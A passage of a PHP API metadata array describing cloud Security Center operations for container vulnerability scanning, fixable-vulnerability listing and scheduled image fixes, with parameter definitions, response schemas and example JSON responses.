], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'DeleteImageVulWhitelist', ], 'DescribeContainerScanConfig' => [ 'summary' => 'Queries the configurations of the vulnerability scan of one or more running container applications.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'ClusterId' => [ 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'hhht-cluster-02', ], 'ChooseCount' => [ 'description' => 'The number of selected container applications.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'AllCount' => [ 'description' => 'The total number of container applications in the cluster.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'AppNames' => [ 'description' => 'The names of the container applications.'."\n", 'type' => 'string', 'example' => '[\\"alicloud-monitor-controller\\"]', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '69BFFCDE-37D6-5A49-A8BC-BB03AC83****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"ClusterName\\": \\"hhht-cluster-02\\",\\n \\"ChooseCount\\": 10,\\n \\"AllCount\\": 100,\\n \\"AppNames\\": \\"[\\\\\\\\\\\\\\"alicloud-monitor-controller\\\\\\\\\\\\\\"]\\"\\n },\\n \\"RequestId\\": \\"69BFFCDE-37D6-5A49-A8BC-BB03AC83****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'DescribeContainerScanConfig', ], 'ModifyContainerScanConfig' => [ 'summary' => 'Modifies the configurations of vulnerability scan for a running container.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The cluster ID.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cfb7a55a81f7246b5ac18845ea79a****', ], ], [ 'name' => 'AppNames', 'in' => 'query', 'schema' => [ 'description' => 'The name of the container application.'."\n", 'type' => 'string', 'required' => false, 'example' => '[\\"logtail-ds\\",\\"alicloud-monitor-controller\\",\\"storage-snapshot-manager\\"]', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'BFF355BC-8A40-55F3-8CBC-CC3E9DAC****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"BFF355BC-8A40-55F3-8CBC-CC3E9DAC****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ModifyContainerScanConfig', ], 'DescribeCanFixVulList' => [ 'summary' => 'Queries the list of fixable vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: system vulnerability'."\n" .'* **sca**: application vulnerability'."\n", 'type' => 'string', 'required' => true, 'example' => 'cve', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the image. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'd15df12472809c1c3b158606c0f1****', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'scan:AVD-2022-953356', ], ], [ 'name' => 'AliasName', 'in' => 'query', 'schema' => [ 'description' => 'The alias of the vulnerability that is specified in Common Vulnerabilities and Exposures (CVE).'."\n", 'type' => 'string', 'required' => false, 'example' => 'RHSA-2017:0184-Important: mysql security update', ], ], [ 'name' => 'StatusList', 'in' => 'query', 'schema' => [ 'description' => 'The status of the vulnerability. Valid values:'."\n" ."\n" .'* **1**: The vulnerability is unfixed.'."\n" .'* **4**: The vulnerability is being fixed.'."\n" .'* **7**:The vulnerability is fixed.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Necessity', 'in' => 'query', 'schema' => [ 'description' => 'The priority to fix the vulnerability. Separate multiple priorities with commas (,). Valid values:'."\n" ."\n" .'* **asap**: high'."\n" .'* **later**: medium'."\n" .'* **nntf**: low'."\n", 'type' => 'string', 'required' => false, 'example' => 'asap,later,nntf', ], ], [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the vulnerability is handled. Valid values:'."\n" ."\n" .'**y**: The vulnerability is handled. **n**: The vulnerability is not handled.'."\n", 'type' => 'string', 'required' => false, 'example' => 'n', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Pages start from page 1. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'RepoRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the image repository. Valid values:'."\n" ."\n" .'* **cn-beijing**: China (Beijing)'."\n" .'* **cn-zhangjiakou**: China (Zhangjiakou)'."\n" .'* **cn-hangzhou**: China (Hangzhou)'."\n" .'* **cn-shanghai**: China (Shanghai)'."\n" .'* **cn-shenzhen**: China (Shenzhen)'."\n" .'* **cn-hongkong**: China (Hong Kong)'."\n" .'* **ap-southeast-1**: Singapore'."\n" .'* **ap-southeast-5**: Indonesia (Jakarta)'."\n" .'* **us-east-1**: US (Virginia)'."\n" .'* **us-west-1**: US (Silicon Valley)'."\n" .'* **eu-central-1**: Germany (Frankfurt)'."\n" .'* **eu-west-1**: UK (London)', 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'RepoInstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container image.'."\n" ."\n" .'> You can call the [ListRepository](~~451339~~) operation of Container Registry and obtain the ID of the container image from **InstanceId** in the response.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cri-rv4nvbv8iju4****', ], ], [ 'name' => 'RepoId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository.'."\n" ."\n" .'> You can call the [ListRepository](~~145293~~) operation of Container Registry and obtain the ID of the image repository from **RepoId** in the response.'."\n", 'type' => 'string', 'required' => false, 'example' => 'crr-avo7qp02simz2njo', ], ], [ 'name' => 'RepoName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image repository.'."\n" ."\n" .'> Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'digital-account', ], ], [ 'name' => 'RepoNamespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace to which the image repository belongs.'."\n" ."\n" .'> Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ns-digital-dev', ], ], [ 'name' => 'RepoName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image repository.'."\n" ."\n" .'> Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'digital-account', ], ], [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the image repository. Valid values:'."\n" ."\n" .'* **cn-beijing**: China (Beijing)'."\n" .'* **cn-zhangjiakou**: China (Zhangjiakou)'."\n" .'* **cn-hangzhou**: China (Hangzhou)'."\n" .'* **cn-shanghai**: China (Shanghai)'."\n" .'* **cn-shenzhen**: China (Shenzhen)'."\n" .'* **cn-hongkong**: China (Hong Kong)'."\n" .'* **ap-southeast-1**: Singapore'."\n" .'* **ap-southeast-5**: Indonesia (Jakarta)'."\n" .'* **us-east-1**: US (Virginia)'."\n" .'* **us-west-1**: US (Silicon Valley)'."\n" .'* **eu-central-1**: Germany (Frankfurt)'."\n" .'* **eu-west-1**: UK (London)', 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'InstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container image.'."\n" ."\n" .'> You can call the [ListRepository](~~451339~~) operation of Container Registry and obtain the ID of the container image from **InstanceId** in the response.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cri-rv4nvbv8iju4****', ], ], [ 'name' => 'RepoId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository.'."\n" ."\n" .'> You can call the [ListRepository](~~145293~~) operation of Container Registry and obtain the ID of the image repository from **RepoId** in the response.'."\n", 'type' => 'string', 'required' => false, 'example' => 'crr-avo7qp02simz2njo', ], ], [ 'name' => 'Tag', 'in' => 'query', 'schema' => [ 'description' => 'The tag to add to the image.'."\n", 'type' => 'string', 'required' => false, 'example' => '0.1.0', ], ], [ 'name' => 'Digest', 'in' => 'query', 'schema' => [ 'description' => 'The unique identifier of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => '8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The cluster ID.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c80f79959fd724a888e1187779b13****', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The type of the asset that you want to scan. Valid values:'."\n" ."\n" .'* **image**'."\n" .'* **container**'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that is scanned. Valid values:'."\n" ."\n" .'* **image**'."\n" .'* **container**'."\n", 'type' => 'string', 'required' => false, 'example' => 'image,container', ], 'required' => false, 'maxItems' => 2, ], ], [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas-test-cnnf', ], ], [ 'name' => 'ContainerId', 'in' => 'query', 'schema' => [ 'description' => 'The container ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f92155709d5a****', ], ], [ 'name' => 'Pod', 'in' => 'query', 'schema' => [ 'description' => 'The name of the container group.'."\n", 'type' => 'string', 'required' => false, 'example' => '22222-7xsqq'."\n", ], ], [ 'name' => 'Namespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace of the cluster.'."\n" ."\n" .'> You can call the [GetOpaClusterNamespaceList](~~GetOpaClusterNamespaceList~~) operation to query the namespaces of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'default', ], ], [ 'name' => 'Image', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-****'."\n", ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult>', 'description' => 'PlainResult\\'."\n", 'type' => 'object', 'properties' => [ 'VulRecords' => [ 'description' => 'The information about the vulnerability.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'CanUpdate' => [ 'description' => 'Indicates whether the packages of the software that has the vulnerability can be upgraded by using Security Center. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Type' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: system vulnerability'."\n" .'* **sca**: application vulnerability'."\n", 'type' => 'string', 'example' => 'cve', ], 'Status' => [ 'description' => 'The status of the vulnerability. Valid values:'."\n" ."\n" .'* **1**: The vulnerability is unfixed.'."\n" .'* **4**: The vulnerability is being fixed.'."\n" .'* **7**: The vulnerability is fixed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ModifyTs' => [ 'description' => 'The timestamp generated when the vulnerability status was modified. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1620404763000', ], 'ImageDigest' => [ 'description' => 'The unique identifier of the image.'."\n", 'type' => 'string', 'example' => '8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****', ], 'PrimaryId' => [ 'description' => 'The vulnerability ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '782661', ], 'Tag' => [ 'description' => 'The tag that is added to the image.'."\n", 'type' => 'string', 'example' => 'latest', ], 'RepoNamespace' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => '3rdparty', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'varnish', ], 'Related' => [ 'description' => 'The CVE IDs related to the vulnerability. Multiple CVE IDs are separated by commas (,).'."\n", 'type' => 'string', 'example' => 'CVE-2017-7518,CVE-2017-12188', ], 'FirstTs' => [ 'description' => 'The timestamp generated when the vulnerability was first detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1620752053000', ], 'LastTs' => [ 'description' => 'The timestamp generated when the vulnerability was last detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1620404763000', ], 'Necessity' => [ 'description' => 'The priority to fix the vulnerability. Valid values:'."\n" ."\n" .'* **asap**: high'."\n" .'* **later**: medium'."\n" .'* **nntf**: low'."\n" ."\n" .'> We recommend that you fix high-level vulnerabilities as soon as possible.'."\n", 'type' => 'string', 'example' => 'asap,later,nntf', ], 'Uuid' => [ 'description' => 'The UUID of the container image.'."\n", 'type' => 'string', 'example' => '0004a32a0305a7f6ab5ff9600d47****', ], 'AliasName' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'example' => 'CVE-2018-25010:libwebp up to 1.0.0 ApplyFilter out-of-bounds read', ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'debian:10:CVE-2019-9893', ], 'Layers' => [ 'description' => 'The image layers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image layer.'."\n", 'type' => 'string', 'example' => '["8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****"]', ], ], 'ExtendContentJson' => [ 'description' => 'The extended information about the vulnerability.'."\n", 'type' => 'object', 'properties' => [ 'OsRelease' => [ 'description' => 'The version of the operating system in the image.'."\n", 'type' => 'string', 'example' => '10.9', ], 'Os' => [ 'description' => 'The name of the operating system.'."\n", 'type' => 'string', 'example' => 'debian', ], 'RpmEntityList' => [ 'description' => 'The RPM packages.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'MatchList' => [ 'description' => 'The rule that is used to detect the vulnerability.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The rule that is used to detect the vulnerability.'."\n", 'type' => 'string', 'example' => '["libstdc++ version less than 8.5.0-4.el8_5"]', ], ], 'Layer' => [ 'description' => 'The SHA-256 value of the digest of the image layer.'."\n", 'type' => 'string', 'example' => 'b1f5b9420803ad0657cf21566e3e20acc08581e7f22991249ef3aa80b8b1****', ], 'FullVersion' => [ 'description' => 'The complete version number of the software package.'."\n", 'type' => 'string', 'example' => '3.10.0-693.2.2.el7', ], 'Version' => [ 'description' => 'The version number of the software package.'."\n", 'type' => 'string', 'example' => '3.10.0', ], 'MatchDetail' => [ 'description' => 'The information about the detected vulnerability.'."\n", 'type' => 'string', 'example' => 'python-perf version less than 0:3.10.0-693.21.1.el7', ], 'Path' => [ 'description' => 'The path of the software that has the vulnerability.'."\n", 'type' => 'string', 'example' => '/usr/lib64/python2.7/site-packages', ], 'Name' => [ 'description' => 'The name of the software package.'."\n", 'type' => 'string', 'example' => 'python-perf', ], 'UpdateCmd' => [ 'description' => 'The command that is used to fix the vulnerability.'."\n", 'type' => 'string', 'example' => 'apt-get update && apt-get install libseccomp2 --only-upgrade', ], ], ], ], ], ], 'CanFix' => [ 'description' => 'Indicates whether the vulnerability can be fixed in the Security Center console. Valid values:'."\n" ."\n" .'* **yes**'."\n" .'* **no**'."\n", 'type' => 'string', 'example' => 'yes', ], 'ClusterId' => [ 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'example' => 'c08d5fc1a329a4b88950a253d082f1****'."\n", ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'docker-law'."\n", ], 'Pod' => [ 'description' => 'The name of the container group.'."\n", 'type' => 'string', 'example' => '22222-7xsqq'."\n", ], 'Namespace' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'example' => 'test-002'."\n", ], 'Image' => [ 'description' => 'The name of the image.'."\n", 'type' => 'string', 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****'."\n", ], 'ContainerId' => [ 'description' => 'The container ID.'."\n", 'type' => 'string', 'example' => '04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****'."\n", ], 'InternetIp' => [ 'description' => 'The public IP address of the asset.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the asset.'."\n", 'type' => 'string', 'example' => '172.19.XX.XX', ], 'InstanceName' => [ 'description' => 'The name of the instance.'."\n" ."\n" .'The name must be 3 to 64 characters in length and can contain letters, digits, hyphens (-), and underscores (\\_).'."\n", 'type' => 'string', 'example' => 'testInstance', ], 'TargetId' => [ 'description' => 'The ID of the asset that is scanned.'."\n", 'type' => 'string', 'example' => '300269', ], 'TargetName' => [ 'description' => 'The name of the asset that is scanned.'."\n", 'type' => 'string', 'example' => 'source-test-obj-XM0Ma', ], 'MaliciousSource' => [ 'description' => 'The source of the malicious file. Valid values:'."\n" ."\n" .'* **agentless**'."\n" .'* **image**'."\n" .'* **container**'."\n", 'type' => 'string', 'example' => 'agentless', ], 'TargetType' => [ 'description' => 'The type of the asset that is scanned. Valid values:'."\n" ."\n" .'* **IMAGE**'."\n" .'* **ECS_IMAGE**'."\n" .'* **ECS_SNAPSHOT**'."\n", 'type' => 'string', 'example' => 'ECS_IMAGE', ], 'ScanTime' => [ 'description' => 'The timestamp generated when the scan task was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1649814050000', ], ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1408FDB3-46F4-513C-9918-FE7D356DF048', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"VulRecords\\": [\\n {\\n \\"CanUpdate\\": true,\\n \\"Type\\": \\"cve\\",\\n \\"Status\\": 1,\\n \\"ModifyTs\\": 1620404763000,\\n \\"ImageDigest\\": \\"8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****\\",\\n \\"PrimaryId\\": 782661,\\n \\"Tag\\": \\"latest\\",\\n \\"RepoNamespace\\": \\"3rdparty\\",\\n \\"RepoName\\": \\"varnish\\",\\n \\"Related\\": \\"CVE-2017-7518,CVE-2017-12188\\",\\n \\"FirstTs\\": 1620752053000,\\n \\"LastTs\\": 1620404763000,\\n \\"Necessity\\": \\"asap,later,nntf\\",\\n \\"Uuid\\": \\"0004a32a0305a7f6ab5ff9600d47****\\",\\n \\"AliasName\\": \\"CVE-2018-25010:libwebp up to 1.0.0 ApplyFilter out-of-bounds read\\",\\n \\"Name\\": \\"debian:10:CVE-2019-9893\\",\\n \\"Layers\\": [\\n \\"[\\\\\\"8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****\\\\\\"]\\"\\n ],\\n \\"ExtendContentJson\\": {\\n \\"OsRelease\\": \\"10.9\\",\\n \\"Os\\": \\"debian\\",\\n \\"RpmEntityList\\": [\\n {\\n \\"MatchList\\": [\\n \\"[\\\\\\"libstdc++ version less than 8.5.0-4.el8_5\\\\\\"]\\"\\n ],\\n \\"Layer\\": \\"b1f5b9420803ad0657cf21566e3e20acc08581e7f22991249ef3aa80b8b1****\\",\\n \\"FullVersion\\": \\"3.10.0-693.2.2.el7\\",\\n \\"Version\\": \\"3.10.0\\",\\n \\"MatchDetail\\": \\"python-perf version less than 0:3.10.0-693.21.1.el7\\",\\n \\"Path\\": \\"/usr/lib64/python2.7/site-packages\\",\\n \\"Name\\": \\"python-perf\\",\\n \\"UpdateCmd\\": \\"apt-get update && apt-get install libseccomp2 --only-upgrade\\"\\n }\\n ]\\n },\\n \\"CanFix\\": \\"yes\\",\\n \\"ClusterId\\": \\"c08d5fc1a329a4b88950a253d082f1****\\\\n\\",\\n \\"ClusterName\\": \\"docker-law\\\\n\\",\\n \\"Pod\\": \\"22222-7xsqq\\\\n\\",\\n \\"Namespace\\": \\"test-002\\\\n\\",\\n \\"Image\\": \\"registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****\\\\n\\",\\n \\"ContainerId\\": \\"04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****\\\\n\\",\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"IntranetIp\\": \\"172.19.XX.XX\\",\\n \\"InstanceName\\": \\"testInstance\\",\\n \\"TargetId\\": \\"300269\\",\\n \\"TargetName\\": \\"source-test-obj-XM0Ma\\",\\n \\"MaliciousSource\\": \\"agentless\\",\\n \\"TargetType\\": \\"ECS_IMAGE\\",\\n \\"ScanTime\\": 1649814050000\\n }\\n ],\\n \\"RequestId\\": \\"1408FDB3-46F4-513C-9918-FE7D356DF048\\"\\n}","type":"json"}]', 'title' => 'DescribeCanFixVulList', ], 'ModifyImageFixCycleConfig' => [ 'summary' => 'Modifies the configurations of a scheduled image fix.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '165925', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ImageFixSwitch', 'in' => 'formData', 'schema' => [ 'description' => 'Specifies whether to enable the schedule image fix.'."\n" ."\n" .'* **on**: enable'."\n" .'* **off**: disable'."\n", 'type' => 'string', 'required' => false, 'example' => 'on', ], ], [ 'name' => 'ImageFixCycle', 'in' => 'formData', 'schema' => [ 'description' => 'The cycle of the scheduled fix. Unit: day.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '7', ], ], [ 'name' => 'ImageFixTarget', 'in' => 'formData', 'schema' => [ 'description' => 'The range of the scheduled fix. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **type**: The type of the image. The value is fixed to repo.'."\n" .'* **target**: The content of the image. The value is in the format of Namespace/Image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => '{\\"type\\":\\"repo\\",\\"target\\":[\\"cdp-uat/zentao\\",\\"qa-dac/yyuan9\\",\\"cafdms-qa/xxl-job-admin\\"]}', ], ], [ 'name' => 'ImageTimeRange', 'in' => 'formData', 'schema' => [ 'description' => 'The time range during which the image was modified. Unit: day.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '30', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates whether the configurations of the scheduled image fix are modified.'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F7A4DF7E-57A4-5BBF-8290-223754AD****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"F7A4DF7E-57A4-5BBF-8290-223754AD****\\"\\n}","type":"json"}]', 'title' => 'ModifyImageFixCycleConfig', ], 'DescribeImageFixCycleConfig' => [ 'summary' => 'Queries the configurations of the scheduled fix of image risks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'ImageFixSwitch' => [ 'description' => 'Indicates whether the scheduled fix of image risks is enabled.'."\n" ."\n" .'* **on**: enabled'."\n" .'* **off**: disabled'."\n", 'type' => 'string', 'example' => 'on', ], 'ImageFixCycle' => [ 'description' => 'The cycle of the scheduled fix. Unit: day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'ImageFixTarget' => [ 'description' => 'The range of the scheduled fix. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **type**: The type of the image risk. The value is fixed to repo.'."\n" .'* **target**: The content of the image risk. The value is in the format of Namespace/Image repository.'."\n", 'type' => 'string', 'example' => '{\\"type\\":\\"repo\\",\\"target\\":[\\"qa-dac/yyuan9\\",\\"cdp-uat/zentao\\",\\"cafdms-qa/xxl-job-admin\\",\\"cafdms-qa/utils/jdk\\",\\"cafmfbi/ui\\",\\"cdp-uat/tradingdesk-webapp\\"]}', ], 'ImageTimeRange' => [ 'description' => 'The time range during which the image was modified. Unit: day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0D****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"ImageFixSwitch\\": \\"on\\",\\n \\"ImageFixCycle\\": 7,\\n \\"ImageFixTarget\\": 